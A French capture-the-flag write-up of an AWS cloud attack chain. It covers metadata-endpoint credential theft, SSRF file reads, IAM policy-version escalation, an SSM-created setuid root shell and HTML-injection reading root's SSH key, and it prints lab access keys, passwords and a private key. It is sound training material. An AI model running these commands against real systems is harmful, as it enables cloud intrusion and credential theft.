---
# System prepended metadata

title: CTF Enedis - Attaque Cloud AWS

---

# CTF Enedis - Attaque Cloud AWS

Au départ nous n'avons qu'une adresse IP `18.220.201.93`. En faisant un nmap dessus, on observe que les ports 22 (ssh) et 80 (http) sont ouverts, les autres ports affichés sont filtrés et ne nous intéressent pas. 

![image](https://hackmd.io/_uploads/BJ402_ksp.png)

Port 25 filtré donc on s’en occupe pas pour l’instant

![image](https://hackmd.io/_uploads/B1aR3Oyja.png)

premier flag : BLACKSKY{w4tch0ut_th0s3_c0mm3nts} dans le code source

On ouvre le site http, et en observant les hedaers du code html, on trouve aussi l’adresse d’un bucket S3 :`https://logistics-assets-658162088697.s3.us-east-2.amazonaws.com/`

Dans le bucket, nouveau flag : BLACKSKY{S3_l34ks}

![image](https://hackmd.io/_uploads/H1ak6OJia.png)

Et on trouve aussi à la fin une pair de clés ssh, pour le compte `webadmin`.


![image](https://hackmd.io/_uploads/HJcepdJop.png)

Avec la clé privée, on arrive à se connecter en tant que `webadmin` sur la machine,

![image](https://hackmd.io/_uploads/B1dG6u1op.png)

et on trouve un flag.

![image](https://hackmd.io/_uploads/Syb7TdyjT.png)


Depuis la machine, on fait une requête vers 196.254.169.254 pour récupérer les informations de l'instance. En particulier, on arrive à récupérer des crédentials iam :


![image](https://hackmd.io/_uploads/SkVSpOJip.png)

```
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/web01
{                                                                                                                                                       
  "Code" : "Success",                                                                                                                                      
  "LastUpdated" : "2024-02-06T08:38:32Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA4BU33NGGDAYKNC4B",
  "SecretAccessKey" : "aXMQ4tSXhmGUBwiYpynNI6X2kpO3g/KhQoobulqh",
  "Token" : "IQoJb3JpZ2luX2VjEPH//////////wEaCXVzLWVhc3QtMiJGMEQCIGd5nHPFA4YChipEhb6BxcUyJdPLg43Npxj7S3eI9zWxAiBqeRlbPND4rZQaxRcsdnn02PyXcS6zfsBgLgBKL8WZfyrBBQi6//////////8B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agL4spEPbXxPKSvjsoEaaH7K9WldBZiTNLx+wWOv5o5m+t6VwXIyEME4ofpZGQcoiVqIeiNaRSCNcdmg1Vrv210Tgf5d/X9vYUQ=",
  "Expiration" : "2024-02-06T15:01:11Z"
 }
```

> Endpoint commun 169.264.169.264 => renvoie les invos sur les metadonnées depuis une machine. Va dépendre de quelle machine fait la requete! Il faut etre connecté à l'instance pour le requeter. 

On récupère la clé ASIA qui permet de se connecter avec `awscli`. Plus besoin d'être dans l'instance, on a déjà les identifiants aws, on peut se connecter de partout!


On scan tout avec l'outil `weirdAAL` et on voit qu'on a un droit: `DescribeSnapshots`

Ensuite, comment on fait pour trouver les snapshots? Et filtrer ?

On a accès au Snapshot, on a son Id. On va charger la snapshot dans une instance EC2 (On pourrait faire avec la CLI mais casse couille, on fait avec l'interface aws)

On peut récupérer la clé privée!! on a tous les droits sur notre machine !

![image](https://hackmd.io/_uploads/ry0dDj1sa.png)

dans le php sur la machine en root, on trouve de nouvelles clés (elles sont dans les changements git)

Liste des commandes possibles pour Daniel
['GetAccount', 'GetApiKeys', 'GetClientCertificates', 'GetDomainNames', 'GetRestApis', 'GetSdkTypes', 'GetUsagePlans']

Protip: enumeration à la place de weirdALL.

GetRestApis:

```
{
    "items": [
        {
            "id": "1rg2uph229",
            "name": "Freight-Tracking",
            "description": "Freight Tracking API",
            "createdDate": "2024-01-30T09:02:14-05:00",
            "apiKeySource": "HEADER",
            "endpointConfiguration": {
                "types": [
                    "EDGE"
                ]
            },
            "policy": "{
                "Version": "2012-10-17",
                "Statement":[
                    {
                    "Effect":"Allow",
                    "Principal":"*",
                    "Action":"execute-api:Invoke",
                    "Resource":"arn:aws:execute-api:us-east-2:828181801356:1rg2uph229"
                    },
                    {
                    "Effect":"Deny",
                    "Principal":"*",
                    "Action":"execute-api:Invoke",
                    "Resource":"arn:aws:execute-api:us-east-2:828181801356:1rg2uph229",
                    "Condition":
                        {
                        "NotIpAddress":
                            {"aws:SourceIp":
                                [
                                "178.62.21.79",
                                "3.13.196.20",
                                "88.99.200.14",
                                "88.99.200.15",
                                "178.62.21.79",
                                "161.35.160.164"
                                ]
                            }
                        }
                    }
                ]
            }",
            "disableExecuteApiEndpoint": false
        }
    ]

```

On réussi à compléter l'url

awscurl --service execute-api -X POST -d "hello"  --access_key $AWS_ACCESS_KEY_ID --secret_key $AWS_SECRET_ACCESS_KEY --region us-east-2  https://1rg2uph229.execute-api.us-east-2.amazonaws.com/default/Freight-Tracking 
"Invalid Cargo URL"


On peut afficher des fichiers !! avec `url=file://`

En particulier, on affiche les variables d'environnement dans `/proc/self/environ`


```
echo AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPb//////////wEaCXVzLWVhc3QtMiJGMEQCIC6306+zcdqf5Q8yXfWg3L0eqz7R6OyJJ3vDOU4tiPhrAiA8Jk5Vo6WcK6+unTd/AWHBZp7vMQPonjubYF6vAuu98irxAgi///////////8BEAAaDDgyODE4MTgwMTM1NiIMRoRKNvS3zpd7Eqb5KsUCiXJxvEqinZogLfDuZcuVY7ygPih9bmUxcmUOVz29F0k/Tf072YUd1uop7YBTy3QaA5x7x17kb49dV/Dcc/vD5Y4P3+8AnjpsmEjTwOUGXsTuNTigDgozP4ArUJ6Cg7DtnRQzWj/iZfM9KYuPpOkkP3yCjhYHxPchEax5Ufl1c0E/mzd7ffY3C8Th0V+fLUE2LXDKRjs+W/TBuLOsLdA4vdvrJZCB6MmKQrFyw6mapzLnBI/fcw7V1s6OY90wDCuvkEyhdkkE6mUVRHBxrFKByzD/NV35kSesocpvm2lQMckzQIx7zIF+e9TDx20m4iovEA8J+7W8vAi+EnibRYbijmG+zOJjK4vmD5gdRh2ihR85YqUzTpWlkD38iG2lSnBEQhFdtcnZ9xJwV0iWFK0mLhrsjR8Mw8EjN7lCeymtMcjSO2ikNDDD6YiuBjqfAXumdSc9Of3d5nFPEj3DCr5ZyedaRMFYhnZC/U+VK+8TwiYIUmrpHyShyQ6wrXKvD5Eolr2gu0ytZo006zh0FsM+HCNSCVdnRqvH0p48z5PdCQrkpELkKjhiY3cQoiHC2LQbLQH7b2kYf892QBKxrR3zQqf+t8iTlQmoDYNqmbqWw8UUOnvHwlDRU+HiTIAQ8o8zcuGwunNFKAw+dE7bJw==

echo AWS_SECRET_ACCESS_KEY=8OzXZ31FzqShdO2rDaZW0VfkawSv1Yjds2AJ/+BI

echo AWS_ACCESS_KEY_ID=ASIA4BU33NGGFHO7Z7KS
```

![image](https://hackmd.io/_uploads/By9JK3kjp.png)

weirdAAL ne donne pas grand chose d'exploitable...

ON liste les policies, c'est le seul truc qu'on peut faire! Il y en a 2, on décide de passer à la 2 pour voir quels droits on a !

`aws iam list-attached-role-policies --role-name FreightAPI` : liste les policies
`aws iam list-policy-versions --policy-arn arn:aws:iam::828181801356:policy/AWSLambdaBasicExecutionRole` : liste les versions d'une policy, pour une ARN donné

`aws iam set-default-policy-version --policy-arn arn:aws:iam::828181801356:policy/AWSLambdaBasicExecutionRole --version-id v2`
On change les versions de IAM, la version 2 nous donne accès à la partie ECR. On veut s'identifier sur l'ECR

/!\ la magie n'existe pas 
On arrive par magie sur le docker de l'app, on trouve dans /home/sara des credentials aws:

export AWS_ACCESS_KEY_ID=AKIA5M37BDN6NFSZVT6X
export AWS_SECRET_ACCESS_KEY=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


En runant le code en local, on obtient dans le répertoire /home/sara/app01

username:  sara
password:  3cW({L4&#f&^dDf

ssh sara@10.0.0.11 => on arrive à se connecter !!

Depuis sara, on regarde l'historique bash, et on trouve le mdp de root: `PK9%98R'vKwXBr>6`

On trouve aussi des comandes comme : 
- `ssh gianna@10.0.0.12`
- 

en ssh en tant que root, on trouve le flag: `BLACKSKY{1ts_4_hug3_m3ss}` les credentials aws suivants:

```
export AWS_ACCESS_KEY_ID=ASIA5M37BDN6NUZZDMNA;
export AWS_SECRET_ACCESS_KEY=zycXZETYZW8krAtIarlaKah/ek+dJ7fgPeuKhe/T;
export AWS_SESSION_TOKEN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whciHf9C5z0GLrCBfq9DBmYrIGhDF9Ovy27wDMvE1hy8Q6GIMfcwt92mJsozbAqI9x6INLKh1dNAfGjdD7NdUPzSFkmnzT/XZ7hTHZh2OMfSIXAVMpi6eNqHYFV0PRkyJ5w0=
```

Oublier les tokens ci-dessus (je me suis spoil)
On recupere la bonne paire access key/private key au début du bash_history:

```
export AWS_ACCESS_KEY_ID=AKIA5M37BDN6JLJPYM7B
export AWS_SECRET_ACCESS_KEY=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
```

On véririfie avec `aws sts get-caller-identity  `:

```
{
    "UserId": "AIDA5M37BDN6KYUBS4J32",
    "Account": "921000024956",
    "Arn": "arn:aws:iam::921000024956:user/lucifer"
}
```

A partir de maintenant on utilise [enumerate-iam](https://github.com/andresriancho/enumerate-iam) qui est bien mieux que weirdALL :
`./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY`

On a accès à Dynamodb !!

```
$ aws dynamodb list-tables 
{
    "TableNames": [
        "Alerts",
        "Users"
    ]
}
```


Et là ...

```
$ aws dynamodb scan --table-name Users
{
    "Items": [
        {
            "Id": {
                "N": "3"
            },
            "Password": {
                "S": "%68\"(*Rxskv~&3WX"
            },
            "Username": {
                "S": "Stefano"
            }
        },
        {
            "Id": {
                "N": "2"
            },
            "Password": {
                "S": "/E$8bZFW7Y_j%Ct)"
            },
            "Username": {
                "S": "Stella"
            }
        },
        {
            "Id": {
                "N": "4"
            },
            "Password": {
                "S": "#vKyU_:VKm[:K76)"
            },
            "Username": {
                "S": "Zane"
            }
        },
        {
            "Id": {
                "N": "1"
            },
            "Password": {
                "S": "d?8~s_NkJW6dJmzZ"
            },
            "Username": {
                "S": "Gianna"
            }
        }
    ],
    "Count": 4,
    "ScannedCount": 4,
    "ConsumedCapacity": null
}
```

On fait un nmap depuis 10.0.0.11, et on remarque que cette fois, le port 22 est ouvert sur la machine 10.0.0.12 !! il y a donc différents sécurity groups !! On essaie de se connecter avec les identifiants récupérés et bingo !


BLACKSKY{dyn4m0_l34ks_t0_m4n4g3m3nt!}

En faisant un ps -aux, on voit qu'il y a un agent ssm qui tourne

Partie mvs v2: il faut un token!! il faut faire une requete PUT avant pour recupérer le token. cf [doc](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html#instancedata-meta-data-retrieval-examples)
Amazon a fait ça pour éviter l'attaque qu'on a fait avec la v1.

commande entière:
```
TOKEN = curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/ws01
```

```
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
```


On fait des requetes iam pour avoir les token, on export l'access key, le secretkey et le token. une fois que c'est fait, on est connecté avec le profil ws01

```
$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/ws01
*   Trying 169.254.169.254:80...
* TCP_NODELAY set
* Connected to 169.254.169.254 (169.254.169.254) port 80 (#0)
> GET /latest/meta-data/iam/security-credentials/ws01 HTTP/1.1
> Host: 169.254.169.254
> User-Agent: curl/7.68.0
> Accept: */*
> X-aws-ec2-metadata-token: AQAAAA4QPRNLCPH1liN_q2kSP1v49hIk_t1n6vh9KLjoHv3GTaSvEA==
> 
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Accept-Ranges: bytes
< Content-Length: 1578
< Content-Type: text/plain
< Date: Wed, 07 Feb 2024 12:51:05 GMT
< Last-Modified: Wed, 07 Feb 2024 12:26:48 GMT
< X-Aws-Ec2-Metadata-Token-Ttl-Seconds: 21523
< Connection: close
< Server: EC2ws
< 
{
  "Code" : "Success",
  "LastUpdated" : "2024-02-07T12:26:18Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId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oaaHP1YsgNo0rooByHSJBP06uViPDX+ZLEf5lsqhERhzoYDZhfUewJY/LKNIzgUUXH0v1EMovl/1DYvBDCI7o2uBjqwAUj9/TJBQG44w0RE7n4ZF72LfJKOBee4cG5lMMfr7PaTtjDg2gjeq++C9vOYMsGjdCzuhTTEpNwOuV6qwDN0FN6R/Dzfpjc54zJJxvQ9YuLAEZdftbgCQ9iURxqQz1AsB1ItMVZ129gbpHqMWXjbo8W/ajuvQi5gR1DwZoBqV7wtCkXVUBsdH6N+j00BjKAl3PW29kbxYZXPq6zhDVkdNai5plh9806hc1IbvrWOO9TX",
  "Expiration" : "2024-02-07T18:41:40Z"
* Closing connection 0
```
```
export AWS_ACCESS_KEY_ID=ASIA4BU33NGGIIGYILZ2;
export AWS_SECRET_ACCESS_KEY=9j80ra80dQi7xfmbcslTZbMTaI/rYo2LYYAbRXJO
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEAwaCXVzLWVhc3QtMiJIMEYCIQDTL4c/BP2U9V/CUgcM2Rhi8M+1lIzwdoTdt284NmCmZAIhAPSXYsTtDEExg66ReFQuv3+4GxjgXmSKB1xbrgYwex4AKsIFCNb//////////wEQABoMODI4MTgxODAxMzU2Igz84myAr0YfrzZ5lxQqlgX3xCQ9CNSPbJ7PV1wxfRSb7zSBgE4lgVbph36RZVin20fIIIADP6METnNPZNrhNrHW3fZ+WPxLGQMBFrUj0GW8bJ91Cl7jprW5i44bRD66Pyov/nfd3TLGOtKpOcAuDiXyNdoaR4JW8ZEyNmtQb8wfYd0apZkT01o0HqppX2yvPGxGchwJmF8UWpWAJsBO1iTbwnaCqU3qbBS7KStLbRLbH/IPWOSKhouNxhfXlP3QnmpMZ4xM/xxqkx4rDXTRUQpLKfEWibFlhbmz11pyEk2DVxQ4pBhEoJrEU5boBaB1442r7s4ycXkTuYKNj/HJ17rN8LxR+o6pHrd9CKWI4rgluLWxfG+hYRW2Iu6L8FgaETjlbzgtsSumXmuwXo5x8IQbOCtjP6hA3Q8wgq01CNQiN+mKqeaRRgpipq4BznrebK6T7dZVnSoIwleW6Wbn8gF8sPoltTY1LZ1VAiZQUV+s9Kl0PUTFXYrlBWKoPB/lZv5XNN26n4vBhZ7USltEI120LOa20+3PCEEgVYb5PozV0OaeeNdkFkV1MOeSqGtLaWQ1BulDlRxe6JAFle4UZockpm6UysWWAZ5J76HRv8MfMP01b052eM30LFwx3nJR/1x4JpCj7gmaRJGvxVaymrp37e7IzUzkOMArvtKMqKxsNzIOmPwSZOKKd6NCs9ETYleQtgrmyFgg6su1FHsTLBKIlIPkA7+RCu3mpo6KuFXEWpnqUL57Up8PnZpMb4QWsh9/+OYYrwJWXMorZfidEYd8ijgXOQsQNErp6sh/Lp0JUsLpHM29PpHTZoaaHP1YsgNo0rooByHSJBP06uViPDX+ZLEf5lsqhERhzoYDZhfUewJY/LKNIzgUUXH0v1EMovl/1DYvBDCI7o2uBjqwAUj9/TJBQG44w0RE7n4ZF72LfJKOBee4cG5lMMfr7PaTtjDg2gjeq++C9vOYMsGjdCzuhTTEpNwOuV6qwDN0FN6R/Dzfpjc54zJJxvQ9YuLAEZdftbgCQ9iURxqQz1AsB1ItMVZ129gbpHqMWXjbo8W/ajuvQi5gR1DwZoBqV7wtCkXVUBsdH6N+j00BjKAl3PW29kbxYZXPq6zhDVkdNai5plh9806hc1IbvrWOO9TX
```

Avec ces token, on utilise le service ssm, qui est run en root, et on créée un shell avec le suuid set, puis on l'exécute avec l'option -p pour préserver le contexte (i.e le contexte de ssm = root) et on est root!

```
aws ssm send-command --document-name "AWS-RunShellScript" --parameters "commands=['cp /bin/bash /tmp/myshell && chmod u+s /tmp/myshell']" --targets "Key=instanceids,Values=i-07835509717ef7855"
```


On récupère le flag:

Pour ngrok: on set la config puis on lance `ngrok config add-authtoken mon_token`

Autre stratégie: mettre sa clé ssh perso partout sur toutes les machines. 
Avec sa config fait le tunnel ssh ! Il faut juste déposer les clés partout.

```
Host 18.220.201.93
    HostName 18.220.201.93
    User root
    IndentityFile /path clé
Host 10.0.0.11
    Hostname 10.0.0.11
    User sara
    IdentityFile /workspace/id_rsa
    ProxyJump 108.220.201.93
Host 10.0.0.12
    Hostname 10.0.0.12
    User sara
    IdentityFile /workspace/id_rsa
    ProxyJump 10.0.0.11
Host 10.0.0.13
    Hostname 10.0.0.13
    User sara
    IdentityFile /workspace/id_rsa
    ProxyJump 10.0.0.11 
```



linPEAS => permet de souligner qqs cve 
pspy64 => permet de voir les connexions ssh et les infos dessus

```
./nmap -F 10.0.0.0/24

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2024-02-07 10:25 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for ip-10-0-0-8.us-east-2.compute.internal (10.0.0.8)
Host is up (0.00047s latency).
Not shown: 243 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for ip-10-0-0-9.us-east-2.compute.internal (10.0.0.9)
Host is up (0.00069s latency).
Not shown: 243 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for ip-10-0-0-12.us-east-2.compute.internal (10.0.0.12)
Host is up (0.00054s latency).
Not shown: 244 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for ip-10-0-0-13.us-east-2.compute.internal (10.0.0.13)
Host is up (0.00045s latency).
Not shown: 243 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
3690/tcp open  svn

Nmap scan report for ip-10-0-0-209.us-east-2.compute.internal (10.0.0.209)
Host is up (0.00057s latency).
Not shown: 244 filtered ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 256 IP addresses (5 hosts up) scanned in 5.44 seconds
```
On a maintenant accès a de nouveaux ports http !

On va utiliser ngrok pour l'afficher dans un navigateur 10.0.0.8

On a une injection html, on peut affichier tousl les fichiers, et en particulier /root/flag.txt: BLACKSKY{xss_t0_lf1_1s_fun_d2031!}
Mais aussi /root/.ssh/id_rsa

<html><pd4ml:attachment src="file:///root/.ssh/id_rsa" description="test"></html>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmotvjLWK8VtuKV8Z2Nsreqr7QrmyQU8Kdl+Pbuw7l5n1urd4l/H3
8boHO3+C2lGg1F3qZHIcqFcL338oeabWZcDJ8uQ6Dpo9dnCzr5yrzRrhhL24rqIvPJY7no
J9azSXWyj9sd58Qu4jrqa3W5hYkXuFTxf8VYUDZWmJcKxifa0aq1oXMKzBDvf5GxIfJZkz
mLnK295a/8c1LAhuqdE9y6YqioMhdsiAFgRJ2bDzozlm7QOreZkOpuSZE2VOlL6D8BBW42
nbnMLbcl1Ug9JQ4rIoRokgTNZrQhhTbxVlXpGM8RKHl2tLSJ39+tQmt76U3GCeaFa8fTth
HrLCxM9auFL1WyfC9ILrVdvhvcdsCdREpAbk6piqlhcrTdHruD39e2pzBMEXtDPDvAE/io
6R881nlkrbCIn0p8buYt8xyIH1PBTPkVW9K6xE4dnBT1kP+VNltk/c/yl3Q0bcdKzQJh1I
4lKc1+wRKIqSdHV8QLq83vHSp0UwzNbKExH/64y1AAAFiPYZPen2GT3pAAAAB3NzaC1yc2
EAAAGBAJqLb4y1ivFbbilfGdjbK3qq+0K5skFPCnZfj27sO5eZ9bq3eJfx9/G6Bzt/gtpR
oNRd6mRyHKhXC99/KHmm1mXAyfLkOg6aPXZws6+cq80a4YS9uK6iLzyWO56CfWs0l1so/b
HefELuI66mt1uYWJF7hU8X/FWFA2VpiXCsYn2tGqtaFzCswQ73+RsSHyWZM5i5ytveWv/H
NSwIbqnRPcumKoqDIXbIgBYESdmw86M5Zu0Dq3mZDqbkmRNlTpS+g/AQVuNp25zC23JdVI
PSUOKyKEaJIEzWa0IYU28VZV6RjPESh5drS0id/frUJre+lNxgnmhWvH07YR6ywsTPWrhS
9VsnwvSC61Xb4b3HbAnUR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PpB303gmLGcwE1489It51fWZsri3NyhivmWKA0sQusKR
nZKrschpmjj1u7ZmMn38KjqCzTmH97rLDvEreo/U53TUVE2NpR33balKSB7B1pWfsPpEp2
g/J3/7r1sAz8Ml613Zor3Ej4IHNOVlAAAAwQDCB6+rAPyXr0adwpfMfZWPwlWUuDdESInE
lreWvjJL28BgkSLUTDapl9B/RLuesH9UcZGWheMcqVuILqOqR58QCx87clH10A2i9FeKsR
akFhI/ZWLVetMF3h0VmSw+ahTs2XHm1eCMcYSg6IJinKGIR5Cp1PmY+VonZzNzuYeMTlMY
sua3rsazA/1FaCC+BlmctqmL2joKYMp3tdtdfp5SwZISr1cBtHmVi6y47i5H62MDFW7mr0
kOWN/d/aBufREAAAAQcm9vdEBpcC0xMC0wLTAtOAECAw== -----END OPENSSH PRIVATE
KEY-----
```

    
En se connectant à la machine, on a un ~/.aws/credentials
    

export AWS_ACCESS_KEY_ID=ASIA5M37BDN6IV2WH3NX;
export AWS_SECRET_ACCESS_KEY=oqdXtwHI2gkJkgpqAhS92dtE3Vwjsh4H1CZ0FIYz
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEA8aCXVzLWVhc3QtMiJGMEQCICwKkyVyRUq3vKJdPrRsukOPM4OHODIDQFrB8A8BDm+kAiBvzsKVJm5ykJwOoVVxp4iH9Kgbiri3jLHTlViC4BC+gSqIAwjY//////////8BEAIaDDkyMTAwMDAyNDk1NiIMLtD6zuGYfNi/q3cOKtwCyWaggOX65cdJnMiO6zmaZ+Mass0PJV5CvGURpumoTnr9qDk/bT3bA7Eah+NuFK9rkzFNXkPr4hFUYFB5dbNwyu5bmpI+875x4Kd4wjKD9RpLycxeJs/sUkewQ1mKcy4yVgr50rLNSwsSgh0pmgLhWM2KeOG9qsLasqjUcvdude1GPNVrmFxCa4jwLznndNq2bIMGVSIftDnMO60IQToDY1bo92N82zWO3STw8i/tRen3TkDPkSdcVB3R/rcjFDXPOJann5boob3y9Jfk2kb/6i680IR3ykgOZJhVo8LCzH2t2F2JoV2FNyxe2Kq/XimzvH9890OT2WFAPWsXV+IMxzQboqXFAFlDmYQqDq9nyLAbA3KTYp/nP3nbiFVRWE2fYEFhe9uW4K9TvirGD+meHiFvanZCx5m6ZJ5UJ4IGUPqiUW3+Mf6ipCkHK+lV3v4b3Iyqkn/Y8mIM/AkQMPepjq4GOpQBdm9TaTE8nK3rL7A1UIghU4qYsS3dYGbLUjtrhm//bXAz5ekf9Ed6RlDNDJtw18Jx6lvKGI5n6ot6kpPeCH+6q6Y/KJRrRoV5AbfLT9eI6hIkC4bSBv4/1YZ430oTHvI4JipkWSRlwVIw6+vjSZUsAIrASa4CWAaK+AbolWjqYeq00XgVPEfUIWs991IokkNsrFTbGw==
